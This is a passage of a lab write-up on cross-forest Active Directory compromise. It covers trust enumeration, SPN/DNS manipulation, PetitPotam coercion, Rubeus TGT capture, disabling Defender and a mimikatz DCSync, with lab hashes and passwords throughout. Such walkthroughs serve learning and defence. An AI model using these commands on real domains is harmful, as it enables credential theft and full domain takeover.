 [  In ] LONIPO.DOJO -> BORITO.DOJO
    * 3/9/2026 12:10:10 PM - CLEAR   - 3b 00 45 00 37 00 5a 00 79 00 7c 00 21 00 74 00 59 00 5d 00 52 00 6f 00 48 00 3b 00 40 00
	* aes256_hmac       2cd77c14a8349b371526013886f37f07e6dc3864651092b7749735ba1b1a2437
	* aes128_hmac       0d4dc9877537b063a926e2c140e76947
	* rc4_hmac_nt       dea9d977c7400cc67451c94634cd319d

 [ Out ] BORITO.DOJO -> LONIPO.DOJO
    * 3/9/2026 12:10:10 PM - CLEAR   - 3b 00 45 00 37 00 5a 00 79 00 7c 00 21 00 74 00 59 00 5d 00 52 00 6f 00 48 00 3b 00 40 00
	* aes256_hmac       146a8e1223378920d8398a3481f7a8547ebe96a79a2c7fe00f9844bd38f97c9c
	* aes128_hmac       a04f33ea1819b27f0bc59ff55b1def94
	* rc4_hmac_nt       dea9d977c7400cc67451c94634cd319d

 [ In-1] LONIPO.DOJO -> BORITO.DOJO
    * 3/9/2026 12:10:10 PM - CLEAR   - 3b 00 45 00 37 00 5a 00 79 00 7c 00 21 00 74 00 59 00 5d 00 52 00 6f 00 48 00 3b 00 40 00
	* aes256_hmac       2cd77c14a8349b371526013886f37f07e6dc3864651092b7749735ba1b1a2437
	* aes128_hmac       0d4dc9877537b063a926e2c140e76947
	* rc4_hmac_nt       dea9d977c7400cc67451c94634cd319d

 [Out-1] BORITO.DOJO -> LONIPO.DOJO
    * 3/9/2026 12:10:10 PM - CLEAR   - 3b 00 45 00 37 00 5a 00 79 00 7c 00 21 00 74 00 59 00 5d 00 52 00 6f 00 48 00 3b 00 40 00
	* aes256_hmac       146a8e1223378920d8398a3481f7a8547ebe96a79a2c7fe00f9844bd38f97c9c
	* aes128_hmac       a04f33ea1819b27f0bc59ff55b1def94
	* rc4_hmac_nt       dea9d977c7400cc67451c94634cd319d


mimikatz(commandline) # exit
Bye!
*Evil-WinRM* PS C:\>

and here it is, the LONIPO$ trust account, which can be used the same way as before to enumerate BORITO. Though with a bidirectional trust, SharpHound.exe or any standard collector would work too if not being better.

This took longer to reproduce than the original solve and the reasons are covered in the sections below.

Privilege Escalation — Compromising BORITO

I reverted the lab and we get new IPs, we only care about these two at this point:

1
2
3
4
┌──(hitotsu㉿kali)-[~]
└─$ cat hosts
176.16.71.133     DC3.BORITO.dojo BORITO.dojo DC3
176.16.71.132     DC2.LONIPO.dojo LONIPO.dojo DC2

The ligolo-ng setup was repeated the same way as before. Now for the BORITO domain: domain controllers have unconstrained delegation by default. When a principal requests a TGS for a DC, the KDC includes that principal’s TGT inside the TGS (encrypted). The DC can then decrypt it and impersonate the user. This can be abused cross-forest too since LONIPO is compromised and DC2$ is under control, any TGTs that arrive at DC2$ can be extracted from memory and reused. For this to work cross-forest, three conditions must be met: TGT delegation must be enabled from BORITO’s side (meaning BORITO trusts LONIPO enough to forward TGTs), the trust must be bidirectional (optimal senario with workarounds if not the case), and Selective Authentication must be disabled (otherwise it restricts which users can be delegated across the trust boundary).

recommended reading : Domain Takeover via kerberos unconstrained delegation

This is the technique used during the original event solve. At the time it wasn’t clear why it worked, TGT delegation appeared disabled based on the tooling used. The reason turned out to be a tooling gap: nxc bloodhound and bloodhound-ce-python don’t collect the TGTDelegation field at all. They silently omit it, so the data appeared absent rather than explicitly False. TGT delegation was disabled from LONIPO’s side to BORITO, but enabled from BORITO’s side to LONIPO — and that’s the direction that matters for this attack. The details are covered below.

new ligolo-ng setup

A foothold on BORITO is needed. The trust account LONIPO$ can be reused (which turns out to be the better choice) or a new machine account can be created. Let’s get a TGT for the trust account and create a machine account for enumeration:

1
2
3
4
5
┌──(hitotsu㉿kali)-[~]
└─$ impacket-getTGT BORITO.dojo/'LONIPO$' -hashes :dea9d977c7400cc67451c94634cd319d -dc-ip 176.16.71.133
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in LONIPO$.ccache

and export it :

1
2
┌──(hitotsu㉿kali)-[~]
└─$ export KRB5CCNAME=LONIPO\$.ccache

and here we go :

1
2
3
4
5
┌──(hitotsu㉿kali)-[~]
└─$ impacket-addcomputer -k -no-pass -dc-ip 176.16.71.133 -dc-host DC3.BORITO.dojo -computer-name 'C4T$' -computer-pass 'Plur1bu5@2026!' BORITO.dojo/
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account C4T$ with password Plur1bu5@2026!.

nxc's bloodhound

all works and we use nxc’s BloodHound injestor :

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.71.133 -u 'C4T$' -p 'Plur1bu5@2026!'
SMB         176.16.71.133   445    DC3              [*] Windows Server 2022 Build 20348 x64 (name:DC3) (domain:BORITO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.71.133   445    DC3              [+] BORITO.dojo\C4T$:Plur1bu5@2026!

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc ldap 176.16.71.133 -u 'C4T$' -p 'Plur1bu5@2026!' --bloodhound --dns-server 176.16.71.133
LDAP        176.16.71.133   389    DC3              [*] Windows Server 2022 Build 20348 (name:DC3) (domain:BORITO.dojo) (signing:None) (channel binding:No TLS cert)
LDAP        176.16.71.133   389    DC3              [+] BORITO.dojo\C4T$:Plur1bu5@2026!
LDAP        176.16.71.133   389    DC3              Resolved collection methods: group, session, trusts, localadmin
LDAP        176.16.71.133   389    DC3              Done in 0M 15S
LDAP        176.16.71.133   389    DC3              Compressing output into /home/kali/.nxc/logs/DC3_176.16.71.133_2026-04-05_215913_bloodhound.zip

my mistake was using this blindly ( never inspected up to now !), it turn’s out nxc’s BloodHound collection doesn’t include TGTDelegationEnabled or TrustAttributes at all in its output, the field is simply missing. which is a limitation of nxc’s BloodHound collector, it doesn’t compute/include that field when collecting from BORITO’s side, which made me believe it was actually disabled, what this collects :

1
2
3
4
5
6
7
8
{
  "TargetDomainName": "LONIPO.DOJO",
  "TargetDomainSid": "S-1-5-21-2785000674-1955832068-1794943330",
  "IsTransitive": true,
  "TrustDirection": "Bidirectional",
  "TrustType": "Forest",
  "SidFilteringEnabled": true
}

okay, but it can’t be just this, I don’t even use nxc’s bloodhound a lot, the only reason I did was because rusthound-ce failed, and at the time I didn’t know why :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ rusthound-ce -d BORITO.dojo -u 'C4T$' -p 'Plur1bu5@2026!' -i 176.16.71.133 -c All -z -v
---------------------------------------------------
Initializing RustHound-CE at 22:05:51 on 04/05/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-04-05T21:05:51Z INFO  rusthound_ce] Verbosity level: Debug
[2026-04-05T21:05:51Z INFO  rusthound_ce] Collection method: All
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] IP: 176.16.71.133
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] PORT: not set
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] FQDN: not set
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Url: ldap://176.16.71.133
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Domain: BORITO.dojo
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Username: C4T$@BORITO.dojo
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Email: c4t$@borito.dojo
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Password: Plur1bu5@2026!
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] DC: ["DC=BORITO,DC=dojo", "CN=Configuration,"]
[2026-04-05T21:05:51Z DEBUG rusthound_ce::ldap] Kerberos: false
[2026-04-05T21:05:52Z DEBUG rusthound_ce::ldap] Trying to connect with simple_bind() function (username:password)
[2026-04-05T21:05:52Z ERROR rusthound_ce::ldap] Failed to authenticate to BORITO.DOJO Active Directory. Reason: LDAP operation result: rc=49 (invalidCredentials), dn: "", text: "80090308: LdapErr: DSID-0C090532, comment: AcceptSecurityContext error, data 710, v4f7c"

this fails! the machine account C4T$ was created via the trust account (Kerberos) and has a UPN/email format issue with rusthound-ce’s simple bind. rusthound-ce uses c4t$@borito.dojo as the bind DN which fails. The fix is to use the -f flag to specify the DC FQDN, or use Kerberos auth. Using a machine account created via Kerberos trust for simple-bind collection was the wrong approach as the trust account ccache works fine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ rusthound-ce -d BORITO.dojo -u 'LONIPO$' -i 176.16.71.133 -c All -z --kerberos -f DC3.BORITO.dojo
---------------------------------------------------
Initializing RustHound-CE at 22:11:25 on 04/05/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-04-05T21:11:25Z INFO  rusthound_ce] Verbosity level: Info
[2026-04-05T21:11:25Z INFO  rusthound_ce] Collection method: All
[2026-04-05T21:11:26Z INFO  rusthound_ce::ldap] Connected to BORITO.DOJO Active Directory!
[2026-04-05T21:11:26Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-04-05T21:11:26Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-05T21:11:28Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=BORITO,DC=dojo
[2026-04-05T21:11:28Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-05T21:11:31Z INFO  rusthound_ce::ldap] All data collected fo
< SNIP >

this seems to work at least and it collects all we need, rusthound-ce collects this :

1
2
3
4
5
6
7
8
9
10
Domain: BORITO.DOJO
{
  "TargetDomainSid": "S-1-5-21-2785000674-1955832068-1794943330",
  "TargetDomainName": "LONIPO.DOJO",
  "IsTransitive": true,
  "SidFilteringEnabled": true,
  "TrustAttributes": 2056,
  "TrustDirection": "Bidirectional",
  "TrustType": "Forest"
}

TrustAttributes: 2056 (0x808) decodes to FOREST_TRANSITIVE (0x8) | TGT_DELEGATION (0x800) meaning TGT delegation is enabled. If this had been checked at the time, the confusion would have been avoided. Let’s also check bloodhound-ce-python:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ bloodhound-ce-python -d BORITO.dojo -u 'LONIPO$' --hashes :dea9d977c7400cc67451c94634cd319d -ns 176.16.71.133 -dc DC3.BORITO.dojo -c Trusts --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: borito.dojo
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC3.BORITO.dojo
INFO: Found 1 domains
INFO: Found 1 trusts
INFO: Done in 00M 04S
INFO: Compressing output into 20260405221939_bloodhound.zip

this time we’re interested in just collecting Trusts to make things faster, and here we go :

1
2
3
4
5
6
7
8
{
  "TargetDomainName": "LONIPO.DOJO",
  "TargetDomainSid": "S-1-5-21-2785000674-1955832068-1794943330",
  "IsTransitive": true,
  "TrustDirection": "Bidirectional",
  "TrustType": "Forest",
  "SidFilteringEnabled": true
}

bloodhound-ce-python doesn’t collect TGTDelegation either. This is a known limitation I believe, SharpHound.exe should collect it correctly ( though I didn’t try this ). well at this point I’ll always be verifying trust attributes directly via LDAP or a tool that explicitly reads trustAttributes, and always enumerate trusts from both sides.

or just use my TrustFull :

1
trustfull enumerate 'BORITO.dojo/C4T$' -p 'Plur1bu5@2026!' -dc-ip 176.16.71.133 --cross-trust

nxc's bloodhound

trustfull offers the best visibility here, selective authentication is disabled, TGT delegation is enabled from BORITO’s side, and it surfaces the relevant attack paths. Always enumerate trusts from both sides as the direction matters.

now that this issue is out of the way, let’s get to the next one, the plan is simple, we have to add an SPN to the DC2$, add a dns record for that SPN, coerce DC3 to authenticate to the SPN and start krbrelayx to get the ticket.

here we used addspn.py from krbrelayx tools, with the DC2$’s hash to add the spn plur1bu5 to DC2$ :

1
2
3
4
5
6
7
┌──(hitotsu㉿kali)-[/opt/krbrelayx]
└─$ python3 addspn.py -u 'LONIPO.dojo\DC2$' -p 'aad3b435b51404eeaad3b435b51404ee:aa88768e286c6d4b9c943e38e83819c3' -s 'HOST/plur1bu5.LONIPO.dojo' --additional DC2.LONIPO.dojo
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

nxc's bloodhound

now we add the DNS record for plur1bu5 in the LONIPO domain. DA privileges are available since LONIPO is compromised:

1
2
3
4
5
6
 python3 dnstool.py -u 'LONIPO.dojo\Administrator' -p 'aad3b435b51404eeaad3b435b51404ee:077b603a2d123e9424962c54cbe8f136' -r plur1bu5 -d 176.16.71.129 --action add DC2.LONIPO.dojo -dns-ip 176.16.71.132
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

176.16.71.129 is the Ops Box IP address. From the Ops Box, we start krbrelayx:

1
sudo python3 krbrelayx.py -hashes :077b603a2d123e9424962c54cbe8f136 -aesKey 965142b05c8c41d08d154e7c5f2ce9059df168f24f5a2808b91aa07062a3a86d

from another terminal, we coerce using the trust account via Kerberos:

1
2
3
4
5
6
7
8
┌──(hitotsu㉿kali)-[~]
└─$ impacket-getTGT BORITO.dojo/'LONIPO$' -hashes :dea9d977c7400cc67451c94634cd319d -dc-ip 176.16.71.133
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in LONIPO$.ccache

┌──(hitotsu㉿kali)-[~]
└─$ export KRB5CCNAME=LONIPO\$.ccache

and we als used nxc to coerce using coerce_plus module’s PetitPotam :

nxc's bloodhound

DC3 doesn’t connect to krbrelayx when using the hostname, no hit at all. When using the Ops Box IP directly, connections come in but over NTLM, which is expected since an IP address bypasses Kerberos SPN lookup. To force Kerberos, the NTLM support can be removed from krbrelayx’s SMB server by patching /home/kali/tools/krbrelayx/lib/servers/smbrelayserver.py, when NTLM is unavailable during negotiation, the client defaults to Kerberos. Connections come in but time out with no TGT attached.

At this point, adding the DNS record to the BORITO domain was attempted as well, in case DC3 needed to resolve the hostname locally:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(hitotsu㉿kali)-[~]
└─$ python3 /opt/krbrelayx/dnstool.py -u 'BORITO.dojo\LONIPO$' -k -dc-ip 176.16.71.133 -dns-ip 176.16.71.133 -r plur1bu5 -d 176.16.71.129 --action add DC3.BORITO.dojo
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

┌──(hitotsu㉿kali)-[~]
└─$ nxc smb DC3.BORITO.dojo -k --use-kcache -M coerce_plus -o LISTENER=plur1bu5.LONIPO.dojo METHOD=PetitPotam
SMB         DC3.BORITO.dojo 445    DC3              [*] Windows Server 2022 Build 20348 x64 (name:DC3) (domain:BORITO.dojo) (signing:True) (SMBv1:False)
SMB         DC3.BORITO.dojo 445    DC3              [+] BORITO.DOJO\LONIPO$ from ccache
COERCE_PLUS DC3.BORITO.dojo 445    DC3              VULNERABLE, PetitPotam
COERCE_PLUS DC3.BORITO.dojo 445    DC3              Exploit Success, lsarpc\EfsRpcAddUsersToFile

┌──(hitotsu㉿kali)-[~]
└─$ nxc smb DC3.BORITO.dojo -k --use-kcache -M coerce_plus -o LISTENER=plur1bu5.BORITO.dojo METHOD=PetitPotam
SMB         DC3.BORITO.dojo 445    DC3              [*] Windows Server 2022 Build 20348 x64 (name:DC3) (domain:BORITO.dojo) (signing:True) (SMBv1:False)
SMB         DC3.BORITO.dojo 445    DC3              [+] BORITO.DOJO\LONIPO$ from ccache
COERCE_PLUS DC3.BORITO.dojo 445    DC3              VULNERABLE, PetitPotam
COERCE_PLUS DC3.BORITO.dojo 445    DC3              Exploit Success, lsarpc\EfsRpcAddUsersToFile

nxc's bloodhound

and we do coerce again, but notice this time I used both *.BORITO.dojo and *.LINOPO.dojo, and both exists, but DC3 only connected when we used BORITO.dojo and still used NTLM, is there some issue that DC3 cannot reach DC2 at all or what ?

The NTLM hit with plur1bu5.BORITO.dojo makes sense, the SPN is registered on DC2$ in LONIPO as HOST/plur1bu5.LONIPO.dojo, not plur1bu5.BORITO.dojo. DC3 can’t find a Kerberos target for a BORITO hostname on a LONIPO machine account, so it falls back to NTLM.

to make things crystal clear, I also checked where the records I added are stored :

1
python3 /opt/krbrelayx/dnstool.py -u 'LONIPO.dojo\Administrator' -p 'aad3b435b51404eeaad3b435b51404ee:077b603a2d123e9424962c54cbe8f136' --action query -r plur1bu5 DC2.LONIPO.dojo -dns-ip 176.16.71.132

and for BORITO domain we check with :

1
python3 /opt/krbrelayx/dnstool.py -u 'BORITO.dojo\LONIPO$' -k -dc-ip 176.16.71.133 -dns-ip 176.16.71.133 --action query -r plur1bu5 DC3.BORITO.dojo

nxc's bloodhound

both records exist in their respective DNS zones, so resolution should work, but it doesn’t.

Before giving up on krbrelayx, another approach: use Rubeus.exe on DC2 to monitor for incoming TGTs directly, and coerce DC3 to authenticate to DC2. WinRM to DC2 as administrator, enable RDP via registry, and upload Rubeus.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ evil-winrm -i 176.16.71.132 -u administrator -H 077b603a2d123e9424962c54cbe8f136

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> Add-MpPreference -ExclusionPath "C:\Users\Administrator.DC\Documents"
*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> upload Rubeus.exe

Info: Uploading /home/kali/secdojo/AD105/Rubeus.exe to C:\Users\Administrator.DC\Documents\Rubeus.exe

Data: 632148 bytes of 632148 bytes copied

Info: Upload successful!

I also added an exclusion path for C:\Users\Administrator.DC\Documents\ for tool staging, and RDP is now available:

1
 xfreerdp /u:Administrator /pth:077b603a2d123e9424962c54cbe8f136 /v:176.16.71.132

nxc's bloodhound

and now we can start Rubeus.exe to monitor for TgTs and coerce from our kali, we have many choices to coerce, either use SpoolSample.exe, PetitPotam.py or just the same nxc command we used before :

1
.\Rubeus.exe monitor /interval:10 
1
python3 PetitPotam.py -u 'C4T$' -p 'Plur1bu5@2026!' -d BORITO.dojo -pipe all DC2.LONIPO.dojo 176.16.71.133

a better command to use here ( which I use and will use later on ) is to filter for dc3$ TgTs, this would filter noise and display just DC3$’s TgT.

1
.\Rubeus.exe monitor /interval:10 /filteruser:dc3$

nxc's bloodhound

Nothing. DC3 isn’t connecting at all when using the hostname.

nxc's bloodhound

DC3 can reach DC2 by IP (NTLM connections confirm this) but cannot resolve DC2.LONIPO.dojo. Kerberos requires hostname resolution to look up the SPN, so without it only NTLM connections are possible. Time to WinRM into DC3 and investigate (since I still have the hash from my solve during the event) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
──(venv)(kali㉿kali)-[~/tools/PetitPotam]
└─$ evil-winrm -i 176.16.71.133 -u administrator -H da242be4db83fe6cfc723370699c585a

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-DnsServerZone -Name "LONIPO.dojo"

ZoneName                            ZoneType        IsAutoCreated   IsDsIntegrated  IsReverseLookupZone  IsSigned
--------                            --------        -------------   --------------  -------------------  --------
LONIPO.dojo                         Forwarder       False           False           False


*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-DnsServerZone | Where-Object {$_.ZoneType -eq "Forwarder"}

ZoneName                            ZoneType        IsAutoCreated   IsDsIntegrated  IsReverseLookupZone  IsSigned
--------                            --------        -------------   --------------  -------------------  --------
LONIPO.dojo                         Forwarder       False           False           False

Get-DnsServerZone lists all DNS zones on this server. ZoneType: Forwarder confirms that LONIPO.dojo is configured as a conditional forwarder zone, DC3’s DNS server doesn’t host this zone itself, it just forwards queries for it elsewhere. the second command filters to show only forwarder zones, confirming LONIPO.dojo is the only one. we don’t know yet where it’s forwarding to, but we know it exists.

okay let’s try resolving the dns record we added, which resolves when we specify the dns server, but when we don’t it doesn’t!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\Administrator\Documents> Resolve-DnsName plur1bu5.LONIPO.dojo -Server 176.16.71.132

Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
plur1bu5.LONIPO.dojo                           A      180   Answer     176.16.71.129


*Evil-WinRM* PS C:\Users\Administrator\Documents> Resolve-DnsName plur1bu5.LONIPO.dojo
plur1bu5.LONIPO.dojo : DNS server failure
At line:1 char:1
+ Resolve-DnsName plur1bu5.LONIPO.dojo
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (plur1bu5.LONIPO.dojo:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : RCODE_SERVER_FAILURE,Microsoft.DnsClient.Commands.ResolveDnsName

the first command forces the query to go directly to DC2 (176.16.71.132), bypassing DC3’s local DNS and it resolves fine, confirming the record exists and DC2’s DNS is healthy. the second command uses DC3’s default DNS (itself, 127.0.0.1 as we’ll see shortly), which hits the broken conditional forwarder and fails. this isolates the problem to DC3’s forwarder configuration, not the record itself.

nxc's bloodhound

also:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-DnsClientServerAddress

InterfaceAlias               Interface Address ServerAddresses
                             Index     Family
--------------               --------- ------- ---------------
Ethernet 3                          10 IPv4    {127.0.0.1}
Ethernet 3                          10 IPv6    {::1}
Local Area Connection                7 IPv4    {}
Local Area Connection                7 IPv6    {fec0:0:0:ffff::1, fec0:0:0:ffff::2, fec0:0:0:ffff::3}
OpenVPN Connect DCO Adapter          5 IPv4    {}
OpenVPN Connect DCO Adapter          5 IPv6    {fec0:0:0:ffff::1, fec0:0:0:ffff::2, fec0:0:0:ffff::3}
Loopback Pseudo-Interface 1          1 IPv4    {}
Loopback Pseudo-Interface 1          1 IPv6    {fec0:0:0:ffff::1, fec0:0:0:ffff::2, fec0:0:0:ffff::3}


*Evil-WinRM* PS C:\Users\Administrator\Documents> Resolve-DnsName DC2.LONIPO.dojo
DC2.LONIPO.dojo : DNS server failure

Get-DnsClientServerAddress shows what DNS server each network interface is configured to use. Ethernet 3 (the active interface, 176.16.71.133) is pointing to 127.0.0.1, this tells us that DC3 uses itself as its DNS server, which is normal for a domain controller, and also confirms that all DNS queries from DC3 go through its own DNS service, which is where the broken conditional forwarder lives. Resolve-DnsName DC2.LONIPO.dojo failing confirms it’s not just our custom record but even DC2’s own hostname can’t be resolved from DC3.

nxc's bloodhound

and let’s debug more who’s responsible for this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-DnsServerZone -Name "LONIPO.dojo" | Select-Object -ExpandProperty MasterServers


Address            : 1240273068
AddressFamily      : InterNetwork
ScopeId            :
IsIPv6Multicast    : False
IsIPv6LinkLocal    : False
IsIPv6SiteLocal    : False
IsIPv6Teredo       : False
IsIPv4MappedToIPv6 : False
IPAddressToString  : 172.16.237.73



*Evil-WinRM* PS C:\Users\Administrator\Documents> Test-NetConnection -ComputerName 172.16.237.73 -Port 53
Warning: TCP connect to (172.16.237.73 : 53) failed
Warning: Ping to 172.16.237.73 failed with status: TimedOut

ComputerName           : 172.16.237.73
RemoteAddress          : 172.16.237.73
RemotePort             : 53
InterfaceAlias         : Ethernet 3
SourceAddress          : 176.16.71.133
PingSucceeded          : False
PingReplyDetails (RTT) : 0 ms
TcpTestSucceeded       : False

MasterServers is the list of DNS servers the conditional forwarder sends queries to, this is the actual forwarder target. IPAddressToString: 172.16.237.73 is the culprit. Test-NetConnection then confirms that IP is completely dead, no ping!! no TCP on port 53 (DNS). so every LONIPO.dojo query DC3 makes gets forwarded to a host that doesn’t exist.

nxc's bloodhound

The conditional forwarder points to 172.16.237.73, a completely different subnet that doesn’t exist in our lab. This is the root cause of everything that failed. by the book a conditional forwarder is a DNS rule that says “for any query under this specific domain name, forward it to this specific DNS server.” So DC3 has a rule saying “anything under LONIPO.dojo? ask 172.16.237.73.” That IP is unreachable, so the query times out and returns DNS server failure. The full chain of why this breaks everything: when DC3 needs to resolve anything under LONIPO.dojo (like DC2.LONIPO.dojo or plur1bu5.LONIPO.dojo), it asks its own DNS server, which hits that dead forwarder and gets nothing back. DC3 never gets an IP, so it can’t initiate a Kerberos connection to the hostname ,Kerberos requires hostname resolution to look up the SPN and get a ticket. Without that, it falls back to NTLM (when given an IP directly) or fails entirely. Fixing the forwarder to point to DC2’s actual IP (176.16.71.132) breaks that chain at the source and makes everything work.

and to be honest, at this point the root cause wasn’t clear yet. The support response of “the lab is not broken” made it harder to trust the diagnosis. But the evidence was pointing in one direction, and this wasn’t an instance issue, I reverted the lab many times until I started doubting myself.

okay let’s just fix it for our case and go on :

1
2
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-DnsServerConditionalForwarderZone -Name "LONIPO.dojo" -MasterServers 176.16.71.132
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Set-DnsServerConditionalForwarderZone updates the conditional forwarder for LONIPO.dojo to point to 176.16.71.132 (DC2’s actual IP) instead of the dead 172.16.237.73. no output means it succeeded. and now both do resolve from DC3$ :

1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\Administrator\Documents> Resolve-DnsName DC2.LONIPO.dojo

Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
DC2.LONIPO.dojo                                A      3599  Answer     176.16.71.132


*Evil-WinRM* PS C:\Users\Administrator\Documents> Resolve-DnsName plur1bu5.LONIPO.dojo

Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
plur1bu5.LONIPO.dojo                           A      180   Answer     176.16.71.129

fixed

with the DNS forwarder fixed, the coercion now works as expected. exiting DC3 and proceeding from the attacker machine:

1
nxc smb DC3.BORITO.dojo -u 'C4T$' -p 'Plur1bu5@2026!' -M coerce_plus -o LISTENER=DC2.LONIPO.dojo METHOD=PetitPotam

Rubeus.exe's

Once the DNS forwarder is fixed, everything works as expected.

Rubeus.exe's

DC2 has the same issue in reverse, its conditional forwarder for BORITO.dojo likely points to a dead IP as well, which is why using DC3.BORITO.dojo as the DC target for the renew failed. Using the IP directly works around it:

1
PS C:\Users\Administrator.DC\Documents> .\Rubeus.exe renew /ticket:<SNIP> /ptt /dc:176.16.71.133 

this confirms the same broken forwarder pattern exists on DC2 for BORITO.dojo. both forests had stale conditional forwarder IPs from a previous network configuration likely, but no need to fix it on DC2$.

Rubeus.exe's

evil-winrm had issues uploading mimikatz.exe, the hash on disk differed from the source on my kali, indicating corruption during transfer (evil-winrm base64-encodes uploads, I’ll have to look into this later on ). Instead, mimikatz.exe was uploaded to the Ops Box via the web interface and served over HTTP with a Python server. The exclusion path added earlier wasn’t sufficient as Defender detects mimikatz before it lands on disk, so real-time monitoring was disabled first:

1
Set-MpPreference -DisableRealtimeMonitoring $true

and to DCsync we need to get a ticket for the ldap service :

Rubeus.exe's

1
.\Rubeus.exe asktgs /ticket:<SNIP>  /service:ldap/DC3.BORITO.dojo /dc:176.16.71.133 /ptt

and time to DCsync :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PS C:\Users\Administrator.DC\Documents> .\mimikatz.exe "lsadump::dcsync /domain:BORITO.dojo /dc:DC3.BORITO.dojo /user:BORITO\Administrator" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:BORITO.dojo /dc:DC3.BORITO.dojo /user:BORITO\Administrator

[DC] 'BORITO.dojo' will be the domain
[DC] 'DC3.BORITO.dojo' will be the DC server
[DC] 'BORITO\Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   : 1/1/1601 12:00:00 AM
Password last change : 3/9/2026 11:06:39 AM
Object Security ID   : S-1-5-21-1062181578-1170849120-3226016930-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: da242be4db83fe6cfc723370699c585a

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : b662cfee469e659a3685b288c18aa4b4
< SNIP>

and here we go: both Rubeus.exe and mimikatz.exe were used here, though Rubeus.exe alone would have been sufficient for the DCsync via the ldap ticket.

Rubeus.exe's

and done !

now back to my way of doing things, same principal, and same commands we used before :

Rubeus.exe's

